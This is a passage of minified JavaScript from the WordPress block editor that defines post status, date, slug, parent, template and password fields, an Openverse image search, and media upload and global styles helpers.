9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z&quot;})}),Ui=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z&quot;})}),Hi=[{value:&quot;draft&quot;,label:(0,fs.__)(&quot;Draft&quot;),icon:Oi,description:(0,fs.__)(&quot;Not ready to publish.&quot;)},{value:&quot;future&quot;,label:(0,fs.__)(&quot;Scheduled&quot;),icon:Fi,description:(0,fs.__)(&quot;Publish automatically on a chosen date.&quot;)},{value:&quot;pending&quot;,label:(0,fs.__)(&quot;Pending Review&quot;),icon:Vi,description:(0,fs.__)(&quot;Waiting for review before publishing.&quot;)},{value:&quot;private&quot;,label:(0,fs.__)(&quot;Private&quot;),icon:zi,description:(0,fs.__)(&quot;Only visible to site admins and editors.&quot;)},{value:&quot;publish&quot;,label:(0,fs.__)(&quot;Published&quot;),icon:Ui,description:(0,fs.__)(&quot;Visible to everyone.&quot;)},{value:&quot;trash&quot;,label:(0,fs.__)(&quot;Trash&quot;),icon:yi}];const Gi=function({item:e}){const t=Hi.find((({value:t})=&gt;t===e.status)),s=t?.label||e.status,o=t?.icon;return(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;left&quot;,spacing:0,children:[o&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;edit-site-post-list__status-icon&quot;,children:(0,L.jsx)(Uo.Icon,{icon:o})}),(0,L.jsx)(&quot;span&quot;,{children:s})]})},$i={label:(0,fs.__)(&quot;Status&quot;),id:&quot;status&quot;,type:&quot;text&quot;,elements:Hi,render:Gi,Edit:&quot;radio&quot;,enableSorting:!1,filterBy:{operators:[&quot;isAny&quot;]}},Wi=e=&gt;(0,x.dateI18n)((0,x.getSettings)().formats.datetimeAbbreviated,(0,x.getDate)(e)),Zi=({item:e})=&gt;{var t,s,o,n;var i;if([&quot;draft&quot;,&quot;private&quot;].includes(null!==(t=e.status)&amp;&amp;void 0!==t?t:&quot;&quot;))return(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Modified: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Wi(null!==(i=e.date)&amp;&amp;void 0!==i?i:null)),{span:(0,L.jsx)(&quot;span&quot;,{}),time:(0,L.jsx)(&quot;time&quot;,{})});var r;if(&quot;future&quot;===e.status)return(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Scheduled: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Wi(null!==(r=e.date)&amp;&amp;void 0!==r?r:null)),{span:(0,L.jsx)(&quot;span&quot;,{}),time:(0,L.jsx)(&quot;time&quot;,{})});var a;if(&quot;publish&quot;===e.status)return(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Published: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Wi(null!==(a=e.date)&amp;&amp;void 0!==a?a:null)),{span:(0,L.jsx)(&quot;span&quot;,{}),time:(0,L.jsx)(&quot;time&quot;,{})});const l=(0,x.getDate)(null!==(s=e.modified)&amp;&amp;void 0!==s?s:null)&gt;(0,x.getDate)(null!==(o=e.date)&amp;&amp;void 0!==o?o:null)?e.modified:e.date;return&quot;pending&quot;===e.status?(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&quot;&lt;span&gt;Modified: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Wi(null!=l?l:null)),{span:(0,L.jsx)(&quot;span&quot;,{}),time:(0,L.jsx)(&quot;time&quot;,{})}):(0,L.jsx)(&quot;time&quot;,{children:Wi(null!==(n=e.date)&amp;&amp;void 0!==n?n:null)})},Yi={id:&quot;date&quot;,type:&quot;datetime&quot;,label:(0,fs.__)(&quot;Date&quot;),render:Zi},Ki=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z&quot;})}),qi=e=&gt;&quot;object&quot;!=typeof e?&quot;&quot;:e.slug||(0,v.cleanForSlug)(on(e))||e.id.toString(),Qi=({field:e,onChange:t,data:s})=&gt;{const{id:o}=e,n=e.getValue({item:s})||qi(s),i=s.permalink_template||&quot;&quot;,r=/%(?:postname|pagename)%/,[a,l]=i.split(r),d=a,m=l,h=r.test(i),g=(0,u.useRef)(n),_=n||g.current,f=h?`${d}${_}${m}`:(0,v.safeDecodeURIComponent)(s.link||&quot;&quot;);(0,u.useEffect)((()=&gt;{n&amp;&amp;void 0===g.current&amp;&amp;(g.current=n)}),[n]);const b=(0,u.useCallback)((e=&gt;t({[o]:e})),[o,t]),{createNotice:y}=(0,c.useDispatch)(_s.store),x=(0,p.useCopyToClipboard)(f,(()=&gt;{y(&quot;info&quot;,(0,fs.__)(&quot;Copied Permalink to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})})),S=&quot;editor-post-url__slug-description-&quot;+(0,p.useInstanceId)(Qi);return(0,L.jsxs)(&quot;fieldset&quot;,{className:&quot;fields-controls__slug&quot;,children:[h&amp;&amp;(0,L.jsxs)(Uo.__experimentalVStack,{children:[(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;0px&quot;,children:[(0,L.jsx)(&quot;span&quot;,{children:(0,fs.__)(&quot;Customize the last part of the Permalink.&quot;)}),(0,L.jsx)(Uo.ExternalLink,{href:&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink&quot;,children:(0,fs.__)(&quot;Learn more&quot;)})]}),(0,L.jsx)(Uo.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,L.jsx)(Uo.__experimentalInputControlPrefixWrapper,{children:&quot;/&quot;}),suffix:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,icon:Ki,ref:x,label:(0,fs.__)(&quot;Copy&quot;)}),label:(0,fs.__)(&quot;Link&quot;),hideLabelFromVision:!0,value:n,autoComplete:&quot;off&quot;,spellCheck:&quot;false&quot;,type:&quot;text&quot;,className:&quot;fields-controls__slug-input&quot;,onChange:e=&gt;{b(e)},onBlur:()=&gt;{&quot;&quot;===n&amp;&amp;b(g.current)},&quot;aria-describedby&quot;:S}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;fields-controls__slug-help&quot;,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-visual-label&quot;,children:(0,fs.__)(&quot;Permalink:&quot;)}),(0,L.jsxs)(Uo.ExternalLink,{className:&quot;fields-controls__slug-help-link&quot;,href:f,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-prefix&quot;,children:d}),(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-slug&quot;,children:_}),(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__slug-help-suffix&quot;,children:m})]})]})]}),!h&amp;&amp;(0,L.jsx)(Uo.ExternalLink,{className:&quot;fields-controls__slug-help&quot;,href:f,children:f})]})},Xi=Qi,Ji=({item:e})=&gt;{const t=qi(e),s=(0,u.useRef)(t);(0,u.useEffect)((()=&gt;{t&amp;&amp;void 0===s.current&amp;&amp;(s.current=t)}),[t]);return`${t||s.current}`},er={id:&quot;slug&quot;,type:&quot;text&quot;,label:(0,fs.__)(&quot;Slug&quot;),Edit:Xi,render:Ji};var tr=s(9681),sr=s.n(tr);function or(e){return&quot;object&quot;==typeof e.title&amp;&amp;&quot;rendered&quot;in e.title&amp;&amp;e.title.rendered?(0,Lo.decodeEntities)(e.title.rendered):`#${e?.id} (${(0,fs.__)(&quot;no title&quot;)})`}const nr=(e,t)=&gt;{const s=sr()(e||&quot;&quot;).toLowerCase(),o=sr()(t||&quot;&quot;).toLowerCase();return s===o?0:s.startsWith(o)?s.length:1/0};function ir({data:e,onChangeControl:t}){const[s,o]=(0,u.useState)(null),n=e.parent,i=e.id,r=e.type,{parentPostTitle:a,pageItems:l,isHierarchical:m}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t,getEntityRecords:o,getPostType:a}=e(d.store),l=a(r),c=l?.hierarchical&amp;&amp;l.viewable,u=n?t(&quot;postType&quot;,r,n):null,p={per_page:100,exclude:i,parent_exclude:i,orderby:&quot;menu_order&quot;,order:&quot;asc&quot;,_fields:&quot;id,title,parent&quot;,...null!==s&amp;&amp;{search:s}};return{isHierarchical:c,parentPostTitle:u?or(u):&quot;&quot;,pageItems:c?o(&quot;postType&quot;,r,p):null}}),[s,n,i,r]),h=(0,u.useMemo)((()=&gt;{const e=(t,o=0)=&gt;{const n=t.map((t=&gt;[{value:t.id,label:&quot;— &quot;.repeat(o)+(0,Lo.decodeEntities)(t.name),rawName:t.name},...e(t.children||[],o+1)])).sort((([e],[t])=&gt;nr(e.rawName,null!=s?s:&quot;&quot;)&gt;=nr(t.rawName,null!=s?s:&quot;&quot;)?1:-1));return n.flat()};if(!l)return[];let t=l.map((e=&gt;{var t;return{id:e.id,parent:null!==(t=e.parent)&amp;&amp;void 0!==t?t:null,name:or(e)}}));s||(t=function(e){const t=e.map((e=&gt;({children:[],...e})));if(t.some((({parent:e})=&gt;null==e)))return t;const s=t.reduce(((e,t)=&gt;{const{parent:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),o=e=&gt;e.map((e=&gt;{const t=s[e.id];return{...e,children:t&amp;&amp;t.length?o(t):[]}}));return o(s[0]||[])}(t));const o=e(t),i=o.find((e=&gt;e.value===n));return n&amp;&amp;a&amp;&amp;!i&amp;&amp;o.unshift({value:n,label:a,rawName:&quot;&quot;}),o.map((e=&gt;({...e,value:e.value.toString()})))}),[l,s,a,n]);if(!m)return null;return(0,L.jsx)(Uo.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Parent&quot;),help:(0,fs.__)(&quot;Choose a parent page.&quot;),value:n?.toString(),options:h,onFilterValueChange:(0,p.debounce)((e=&gt;{o(e)}),300),onChange:e=&gt;{var s;if(e)return t(null!==(s=parseInt(e,10))&amp;&amp;void 0!==s?s:0);t(0)},hideLabelFromVision:!0})}const rr={id:&quot;parent&quot;,type:&quot;text&quot;,label:(0,fs.__)(&quot;Parent&quot;),Edit:({data:e,field:t,onChange:s})=&gt;{const{id:o}=t,n=(0,c.useSelect)((e=&gt;e(d.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home),[]),i=(0,u.useCallback)((e=&gt;s({[o]:e})),[o,s]);return(0,L.jsx)(&quot;fieldset&quot;,{className:&quot;fields-controls__parent&quot;,children:(0,L.jsxs)(&quot;div&quot;,{children:[(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&#039;Child pages inherit characteristics from their parent, such as URL structure. For instance, if &quot;Pricing&quot; is a child of &quot;Services&quot;, its URL would be %1$s&lt;wbr /&gt;/services&lt;wbr /&gt;/pricing.&#039;),(0,v.filterURLForDisplay)(n).replace(/([/.])/g,&quot;&lt;wbr /&gt;$1&quot;)),{wbr:(0,L.jsx)(&quot;wbr&quot;,{})}),(0,L.jsx)(&quot;p&quot;,{children:(0,u.createInterpolateElement)((0,fs.__)(&quot;They also show up as sub-items in the default navigation menu. &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{a:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes&quot;),children:void 0})})}),(0,L.jsx)(ir,{data:e,onChangeControl:i})]})})},render:({item:e})=&gt;{const t=(0,c.useSelect)((t=&gt;{const{getEntityRecord:s}=t(d.store);return e?.parent?s(&quot;postType&quot;,e.type,e.parent):null}),[e.parent,e.type]);return t?(0,L.jsx)(L.Fragment,{children:or(t)}):(0,L.jsx)(L.Fragment,{children:(0,fs.__)(&quot;None&quot;)})},enableSorting:!0},ar={id:&quot;comment_status&quot;,label:(0,fs.__)(&quot;Discussion&quot;),type:&quot;text&quot;,Edit:&quot;radio&quot;,enableSorting:!1,filterBy:{operators:[]},elements:[{value:&quot;open&quot;,label:(0,fs.__)(&quot;Open&quot;),description:(0,fs.__)(&quot;Visitors can add new comments and replies.&quot;)},{value:&quot;closed&quot;,label:(0,fs.__)(&quot;Closed&quot;),description:(0,fs.__)(&quot;Visitors cannot add new comments or replies. Existing comments remain visible.&quot;)}]},lr=[],cr={id:&quot;template&quot;,type:&quot;text&quot;,label:(0,fs.__)(&quot;Template&quot;),Edit:({data:e,field:t,onChange:s})=&gt;{const{id:o}=t,n=e.type,i=&quot;number&quot;==typeof e.id?e.id:parseInt(e.id,10),r=e.slug,{canSwitchTemplate:a,templates:l}=(0,c.useSelect)((e=&gt;{var t;const s=null!==(t=e(d.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1,post_type:n}))&amp;&amp;void 0!==t?t:lr,{getHomePage:o,getPostsPageId:r}=dn(e(d.store)),a=r()===+i,l=&quot;page&quot;===n&amp;&amp;o()?.postId===+i;return{templates:s,canSwitchTemplate:!a&amp;&amp;!l}}),[i,n]),m=(0,u.useMemo)((()=&gt;a?l.filter((t=&gt;t.is_custom&amp;&amp;t.slug!==e.template&amp;&amp;!!t.content.raw)).map((e=&gt;({name:e.slug,blocks:(0,y.parse)(e.content.raw),title:(0,Lo.decodeEntities)(e.title.rendered),id:e.id}))):[]),[a,e.template,l]),g=(0,p.useAsyncList)(m),_=t.getValue({item:e}),f=l.find((e=&gt;e.slug===_)),b=(0,c.useSelect)((e=&gt;{if(f)return f;let t;if(t=r?&quot;page&quot;===n?`${n}-${r}`:`single-${n}-${r}`:&quot;page&quot;===n?&quot;page&quot;:`single-${n}`,n){const s=e(d.store).getDefaultTemplateId({slug:t});return e(d.store).getEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,s)}}),[f,n,r]),[x,v]=(0,u.useState)(!1),S=(0,u.useCallback)((e=&gt;s({[o]:e})),[o,s]);return(0,L.jsxs)(&quot;fieldset&quot;,{className:&quot;fields-controls__template&quot;,children:[(0,L.jsx)(Uo.Dropdown,{popoverProps:{placement:&quot;bottom-start&quot;},renderToggle:({onToggle:e})=&gt;(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,size:&quot;compact&quot;,onClick:e,children:b?on(b):&quot;&quot;}),renderContent:({onToggle:e})=&gt;(0,L.jsxs)(Uo.MenuGroup,{children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{v(!0),e()},children:(0,fs.__)(&quot;Change template&quot;)}),&quot;&quot;!==_&amp;&amp;(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{S(&quot;&quot;),e()},children:(0,fs.__)(&quot;Use default template&quot;)})]})}),x&amp;&amp;(0,L.jsx)(Uo.Modal,{title:(0,fs.__)(&quot;Choose a template&quot;),onRequestClose:()=&gt;v(!1),overlayClassName:&quot;fields-controls__template-modal&quot;,isFullScreen:!0,children:(0,L.jsx)(&quot;div&quot;,{className:&quot;fields-controls__template-content&quot;,children:(0,L.jsx)(h.__experimentalBlockPatternsList,{label:(0,fs.__)(&quot;Templates&quot;),blockPatterns:m,shownPatterns:g,onClickPattern:e=&gt;{S(e.name),v(!1)}})})})]})},enableSorting:!1},dr=cr;const ur={id:&quot;password&quot;,type:&quot;text&quot;,Edit:function({data:e,onChange:t,field:s}){const[o,n]=(0,u.useState)(!!s.getValue({item:e}));return(0,L.jsxs)(Uo.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;fields-controls__password&quot;,children:[(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Password protected&quot;),help:(0,fs.__)(&quot;Only visible to those who know the password&quot;),checked:o,onChange:e=&gt;{n(e),e||t({password:&quot;&quot;})}}),o&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;fields-controls__password-input&quot;,children:(0,L.jsx)(Uo.TextControl,{label:(0,fs.__)(&quot;Password&quot;),onChange:e=&gt;t({password:e}),value:s.getValue({item:e})||&quot;&quot;,placeholder:(0,fs.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,maxLength:255})})]})},enableSorting:!1,enableHiding:!1,isVisible:e=&gt;&quot;private&quot;!==e.status};function pr({item:e,className:t,children:s}){const o=on(e);return(0,L.jsxs)(Uo.__experimentalHStack,{className:Di(&quot;fields-field__title&quot;,t),alignment:&quot;center&quot;,justify:&quot;flex-start&quot;,children:[(0,L.jsx)(&quot;span&quot;,{children:o||(0,fs.__)(&quot;(no title)&quot;)}),s]})}function mr({item:e}){return(0,L.jsx)(pr,{item:e})}const{Badge:hr}=dn(Uo.privateApis);const gr={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,fs.__)(&quot;Title&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),getValue:({item:e})=&gt;on(e),render:function({item:e}){const{frontPageId:t,postsPageId:s}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t}=e(d.store),s=t(&quot;root&quot;,&quot;site&quot;);return{frontPageId:s?.page_on_front,postsPageId:s?.page_for_posts}}),[]);return(0,L.jsx)(pr,{item:e,className:&quot;fields-field__page-title&quot;,children:[t,s].includes(e.id)&amp;&amp;(0,L.jsx)(hr,{children:e.id===t?(0,fs.__)(&quot;Homepage&quot;):(0,fs.__)(&quot;Posts Page&quot;)})})},enableHiding:!1,enableGlobalSearch:!0},_r={type:&quot;text&quot;,label:(0,fs.__)(&quot;Template&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),id:&quot;title&quot;,getValue:({item:e})=&gt;on(e),render:mr,enableHiding:!1,enableGlobalSearch:!0};const fr=(0,u.forwardRef)((function({icon:e,size:t=24,...s},o){return(0,u.cloneElement)(e,{width:t,height:t,...s,ref:o})})),br=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z&quot;})}),{PATTERN_TYPES:yr}=dn(ln.privateApis);const xr={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,fs.__)(&quot;Title&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),getValue:({item:e})=&gt;on(e),render:function({item:e}){return(0,L.jsx)(pr,{item:e,className:&quot;fields-field__pattern-title&quot;,children:e.type===yr.theme&amp;&amp;(0,L.jsx)(Uo.Tooltip,{placement:&quot;top&quot;,text:(0,fs.__)(&quot;This pattern cannot be edited.&quot;),children:(0,L.jsx)(fr,{icon:br,size:24})})})},enableHiding:!1,enableGlobalSearch:!0},vr={type:&quot;text&quot;,id:&quot;title&quot;,label:(0,fs.__)(&quot;Title&quot;),placeholder:(0,fs.__)(&quot;No title&quot;),getValue:({item:e})=&gt;on(e),render:mr,enableHiding:!1,enableGlobalSearch:!0};const Sr=(0,p.createHigherOrderComponent)((e=&gt;({useSubRegistry:t=!0,...s})=&gt;{const o=(0,c.useRegistry)(),[n]=(0,u.useState)((()=&gt;new WeakMap)),i=function(e,t,s){if(!s)return t;let o=e.get(t);return o||(o=(0,c.createRegistry)({&quot;core/block-editor&quot;:h.storeConfig},t),o.registerStore(&quot;core/editor&quot;,Dc),e.set(t,o)),o}(n,o,t);return i===o?(0,L.jsx)(e,{registry:o,...s}):(0,L.jsx)(c.RegistryProvider,{value:i,children:(0,L.jsx)(e,{registry:i,...s})})}),&quot;withRegistryProvider&quot;),wr=(e,t)=&gt;`&lt;a ${kr(e)}&gt;${t}&lt;/a&gt;`,kr=e=&gt;`href=&quot;${e}&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;`,Cr=e=&gt;{const{title:t,foreign_landing_url:s,creator:o,creator_url:n,license:i,license_version:r,license_url:a}=e,l=((e,t)=&gt;{let s=e.trim();return&quot;pdm&quot;!==e&amp;&amp;(s=e.toUpperCase().replace(&quot;SAMPLING&quot;,&quot;Sampling&quot;)),t&amp;&amp;(s+=` ${t}`),[&quot;pdm&quot;,&quot;cc0&quot;].includes(e)||(s=`CC ${s}`),s})(i,r),c=(0,Lo.decodeEntities)(o);let d;return d=c?t?(0,fs.sprintf)((0,fs._x)(&#039;&quot;%1$s&quot; by %2$s/ %3$s&#039;,&quot;caption&quot;),wr(s,(0,Lo.decodeEntities)(t)),n?wr(n,c):c,a?wr(`${a}?ref=openverse`,l):l):(0,fs.sprintf)((0,fs._x)(&quot;&lt;a %1$s&gt;Work&lt;/a&gt; by %2$s/ %3$s&quot;,&quot;caption&quot;),kr(s),n?wr(n,c):c,a?wr(`${a}?ref=openverse`,l):l):t?(0,fs.sprintf)((0,fs._x)(&#039;&quot;%1$s&quot;/ %2$s&#039;,&quot;caption&quot;),wr(s,(0,Lo.decodeEntities)(t)),a?wr(`${a}?ref=openverse`,l):l):(0,fs.sprintf)((0,fs._x)(&quot;&lt;a %1$s&gt;Work&lt;/a&gt;/ %2$s&quot;,&quot;caption&quot;),kr(s),a?wr(`${a}?ref=openverse`,l):l),d.replace(/\s{2}/g,&quot; &quot;)},Pr=async(e={})=&gt;(await(0,c.resolveSelect)(d.store).getMediaItems({...e,orderBy:e?.search?&quot;relevance&quot;:&quot;date&quot;})).map((e=&gt;({...e,alt:e.alt_text,url:e.source_url,previewUrl:e.media_details?.sizes?.medium?.source_url,caption:e.caption?.raw}))),jr=[{name:&quot;images&quot;,labels:{name:(0,fs.__)(&quot;Images&quot;),search_items:(0,fs.__)(&quot;Search images&quot;)},mediaType:&quot;image&quot;,fetch:async(e={})=&gt;Pr({...e,media_type:&quot;image&quot;})},{name:&quot;videos&quot;,labels:{name:(0,fs.__)(&quot;Videos&quot;),search_items:(0,fs.__)(&quot;Search videos&quot;)},mediaType:&quot;video&quot;,fetch:async(e={})=&gt;Pr({...e,media_type:&quot;video&quot;})},{name:&quot;audio&quot;,labels:{name:(0,fs.__)(&quot;Audio&quot;),search_items:(0,fs.__)(&quot;Search audio&quot;)},mediaType:&quot;audio&quot;,fetch:async(e={})=&gt;Pr({...e,media_type:&quot;audio&quot;})},{name:&quot;openverse&quot;,labels:{name:(0,fs.__)(&quot;Openverse&quot;),search_items:(0,fs.__)(&quot;Search Openverse&quot;)},mediaType:&quot;image&quot;,async fetch(e={}){const t={...e,mature:!1,excluded_source:&quot;flickr,inaturalist,wikimedia&quot;,license:&quot;pdm,cc0&quot;},s={per_page:&quot;page_size&quot;,search:&quot;q&quot;},o=new URL(&quot;https://api.openverse.org/v1/images/&quot;);Object.entries(t).forEach((([e,t])=&gt;{const n=s[e]||e;o.searchParams.set(n,t)}));const n=await window.fetch(o,{headers:{&quot;User-Agent&quot;:&quot;WordPress/inserter-media-fetch&quot;}});return(await n.json()).results.map((e=&gt;({...e,title:e.title?.toLowerCase().startsWith(&quot;file:&quot;)?e.title.slice(5):e.title,sourceId:e.id,id:void 0,caption:Cr(e),previewUrl:e.thumbnail})))},getReportUrl:({sourceId:e})=&gt;`https://wordpress.org/openverse/image/${e}/report/`,isExternalResource:!0}],Er={randomUUID:&quot;undefined&quot;!=typeof crypto&amp;&amp;crypto.randomUUID&amp;&amp;crypto.randomUUID.bind(crypto)};let Tr;const Br=new Uint8Array(16);function Ir(){if(!Tr&amp;&amp;(Tr=&quot;undefined&quot;!=typeof crypto&amp;&amp;crypto.getRandomValues&amp;&amp;crypto.getRandomValues.bind(crypto),!Tr))throw new Error(&quot;crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported&quot;);return Tr(Br)}const Nr=[];for(let e=0;e&lt;256;++e)Nr.push((e+256).toString(16).slice(1));function Dr(e,t=0){return Nr[e[t+0]]+Nr[e[t+1]]+Nr[e[t+2]]+Nr[e[t+3]]+&quot;-&quot;+Nr[e[t+4]]+Nr[e[t+5]]+&quot;-&quot;+Nr[e[t+6]]+Nr[e[t+7]]+&quot;-&quot;+Nr[e[t+8]]+Nr[e[t+9]]+&quot;-&quot;+Nr[e[t+10]]+Nr[e[t+11]]+Nr[e[t+12]]+Nr[e[t+13]]+Nr[e[t+14]]+Nr[e[t+15]]}const Ar=function(e,t,s){if(Er.randomUUID&amp;&amp;!t&amp;&amp;!e)return Er.randomUUID();const o=(e=e||{}).random||(e.rng||Ir)();if(o[6]=15&amp;o[6]|64,o[8]=63&amp;o[8]|128,t){s=s||0;for(let e=0;e&lt;16;++e)t[s+e]=o[e];return t}return Dr(o)},Rr=()=&gt;{};function Mr({additionalData:e={},allowedTypes:t,filesList:s,maxUploadFileSize:o,onError:n=Rr,onFileChange:i,onSuccess:r,multiple:a=!0}){const{getCurrentPost:l,getEditorSettings:d}=(0,c.select)(Ac),{lockPostAutosaving:u,unlockPostAutosaving:p,lockPostSaving:m,unlockPostSaving:h}=(0,c.dispatch)(Ac),g=d().allowedMimeTypes,_=`image-upload-${Ar()}`;let f=!1;o=o||d().maxUploadFileSize;const b=l(),y=&quot;number&quot;==typeof b?.id?b.id:b?.wp_id,x=y?{post:y}:{},v=()=&gt;{h(_),p(_),f=!1};(0,Ei.uploadMedia)({allowedTypes:t,filesList:s,onFileChange:e=&gt;{f?v():(m(_),u(_),f=!0),i?.(e)},onSuccess:r,additionalData:{...x,...e},maxUploadFileSize:o,onError:({message:e})=&gt;{v(),n(e)},wpAllowedMimeTypes:g,multiple:a})}const{sideloadMedia:Lr}=$(Ei.privateApis),Or=Lr;var Fr=s(66),Vr=s.n(Fr);
/*!
 * is-plain-object &lt;https://github.com/jonschlinkert/is-plain-object&gt;
 *
 * Copyright (c) 2014-2017, Jon Schlinkert.
 * Released under the MIT License.
 */
function zr(e){return&quot;[object Object]&quot;===Object.prototype.toString.call(e)}function Ur(e){var t,s;return!1!==zr(e)&amp;&amp;(void 0===(t=e.constructor)||!1!==zr(s=t.prototype)&amp;&amp;!1!==s.hasOwnProperty(&quot;isPrototypeOf&quot;))}const{GlobalStylesContext:Hr,cleanEmptyObject:Gr}=$(h.privateApis);function $r(e,t){return Vr()(e,t,{isMergeableObject:Ur,customMerge:e=&gt;{if(&quot;backgroundImage&quot;===e)return(e,t)=&gt;t}})}function Wr(){const[e,t,s]=function(){const{globalStylesId:e,isReady:t,settings:s,styles:o,_links:n}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t,getEditedEntityRecord:s,hasFinishedResolution:o,canUser:n}=e(d.store),i=e(d.store).__experimentalGetCurrentGlobalStylesId();let r;const a=i?n(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;globalStyles&quot;,id:i}):null;i&amp;&amp;&quot;boolean&quot;==typeof a&amp;&amp;(r=a?s(&quot;root&quot;,&quot;globalStyles&quot;,i):t(&quot;root&quot;,&quot;globalStyles&quot;,i,{context:&quot;view&quot;}));let l=!1;return o(&quot;__experimentalGetCurrentGlobalStylesId&quot;)&amp;&amp;(l=!i||(a?o(&quot;getEditedEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,i]):o(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,i,{context:&quot;view&quot;}]))),{globalStylesId:i,isReady:l,settings:r?.settings,styles:r?.styles,_links:r?._links}}),[]),{getEditedEntityRecord:i}=(0,c.useSelect)(d.store),{editEntityRecord:r}=(0,c.useDispatch)(d.store);return[t,(0,u.useMemo)((()=&gt;({settings:null!=s?s:{},styles:null!=o?o:{},_links:null!=n?n:{}})),[s,o,n]),(0,u.useCallback)(((t,s={})=&gt;{var o,n,a;const l=i(&quot;root&quot;,&quot;globalStyles&quot;,e),c={styles:null!==(o=l?.styles)&amp;&amp;void 0!==o?o:{},settings:null!==(n=l?.settings)&amp;&amp;void 0!==n?n:{},_links:null!==(a=l?._links)&amp;&amp;void 0!==a?a:{}},d=&quot;function&quot;==typeof t?t(c):t;r(&quot;root&quot;,&quot;globalStyles&quot;,e,{styles:Gr(d.styles)||{},settings:Gr(d.settings)||{},_links:Gr(d._links)||{}},s)}),[e,r,i])]}(),[o,n]=function(){const 